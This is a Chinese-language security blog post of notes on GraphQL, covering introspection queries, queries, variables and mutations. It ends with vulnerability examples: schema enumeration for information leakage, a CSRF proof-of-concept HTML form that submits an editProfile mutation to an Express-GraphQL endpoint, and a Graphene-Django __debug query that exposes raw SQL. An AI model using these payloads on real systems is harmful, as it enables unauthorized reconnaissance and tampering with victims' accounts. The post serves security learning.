GraphQL注入笔记原创

admin 2022年10月30日19:38:20GraphQL注入笔记原创已关闭评论162 views字数 2380阅读7分56秒阅读模式


官方文档

GraphQL 是 Facebook 开发的一种 API 的查询语言,与 2015 年公开发布,是 REST API 的替代品。

GraphQL 既是一种用于 API 的查询语言也是一个满足你数据查询的运行时GraphQL 对你的 API 中的数据提供了一套易于理解的完整描述,使得客户端能够准确地获得它需要的数据,而且没有任何冗余,也让 API 更容易地随着时间推移而演进,还能用于构建强大的开发者工具。

image-20220620182944463

内省#

有时候会需要去问 GraphQL Schema 它支持哪些查询。

利用 GraphQL 的
内省
,可以查询出 GraphQL 中所有的 Query、Mutaion、ObjectType、Field、Arguments。

查询所有类型#

{
  __schema {
    types {
      name
    }
  }
}

返回结果

{
  "data": {
    "__schema": {
      "types": [
        {
          "name": "Query"
        },
        {
          "name": "String"
        },
        {
          "name": "ID"
        },
        {
          "name": "Mutation"
        },
        {
          "name": "Episode"
        },
        {
          "name": "Character"
        },
        {
          "name": "Int"
        },
        {
          "name": "LengthUnit"
        },
        {
          "name": "Human"
        },
        {
          "name": "Float"
        },
        {
          "name": "Droid"
        },
        {
          "name": "FriendsConnection"
        },
        {
          "name": "FriendsEdge"
        },
        {
          "name": "PageInfo"
        },
        {
          "name": "Boolean"
        },
        {
          "name": "Review"
        },
        {
          "name": "ReviewInput"
        },
        {
          "name": "Starship"
        },
        {
          "name": "SearchResult"
        },
        {
          "name": "__Schema"
        },
        {
          "name": "__Type"
        },
        {
          "name": "__TypeKind"
        },
        {
          "name": "__Field"
        },
        {
          "name": "__InputValue"
        },
        {
          "name": "__EnumValue"
        },
        {
          "name": "__Directive"
        },
        {
          "name": "__DirectiveLocation"
        }
      ]
    }
  }
}
  • Query, Character, Human, Episode, DroidMutation - 这些是我们在类型系统中定义的类型。
  • String, Boolean - 这些是内建的标量,由类型系统提供。
  • __Schema, __Type, __TypeKind, __Field, __InputValue, __EnumValue, __Directive - 这些有着两个下划线的类型是内省系统的一部分
  • 剩下的则是由用户定义的类型。

查询一个类型的所有字段#

{
  __type (name: "Query") { 
    name
    fields {
      name
      type {
        name
        kind
        ofType {
          name
          kind
        }
      }
    }
  }
}

返回(此处返回的是定义在 Query 类型中的查询字段)

Untitled 1.png

查询(Query)#

无论是 sql 还是 graphql,本质都是为了检索数据。

{
  users { 
    __typename 
  }
}

一般情况下,需要在最前面加上操作符 Query,不加默认就是查询操作。

返回

{
  "data": {
    "users": [
      "User",
      "User"
    ]
  }
}

变量#

只需要指定 json 数据中的 variables 即可


query HeroNameAndFriends($episode: Episode) {
  hero(episode: $episode) {
    name
    friends {
      name
    }
  }
}

这意味着查询的参数将是动态的 —— 我们决不能使用用户提供的值来字符串插值以构建查询

GraphQL 注入#

image-20220620192030024

变更(Mutation)#

字面意思可能不太对,我更喜欢称之为 执行

mutation CreateReviewForEpisode($ep: Episode!, $review: ReviewInput!) {

  createReview(episode: $ep, review: $review) {
  
    stars
    commentary
  }
}
{
  "data": {
    "createReview": {
      "stars": 5,
      "commentary": "This is a great movie!"
    }
  }
}

漏洞#

敏感信息泄露与越权#

GraphQL 是一门自带文档的技术。 利用内省,即可列出列出 GraphQL 中所有 Query、Mutation、ObjectType、Field、Arguments。

再通过 Query 中泄露的查询字段去查询对应的类型就可以找到许多敏感信息。

image-20220620192923706

Express-GraphQL Endpoint CSRF 漏洞#

原因在于这个框架将 json 和表单都解析为表单参数的关系。

<html>
 <body>
 <script>history.pushState('', '', '/')</script>
 <form action="https://graphqlapp.herokuapp.com/" method="POST">
 <input type="hidden" name="query"
value="mutation {
  editProfile(name:"hac
ker", age: 5) {
    n
ame
    age
  }
}" />
 <input type="submit" value="Submit request" />
 </form>
 </body>
</html>

Graphene-Django DEBUG 模式下的安全问题#

{
 card(id: 1) {
 id
 title
 }
 __debug { 
 sql {
 sql
 rawSql
 params
 }
 }
}

返回

{
 "data": {
 "card": null,
 "__debug": {
 "sql": [
 {
 "sql": "SELECT ...",
 "rawSql": "SELECT ...",
 "params": "[5, 6, ...]"
 }
 ...

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月30日19:38:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   GraphQL注入笔记原创http://cn-sec.com/archives/1379955.html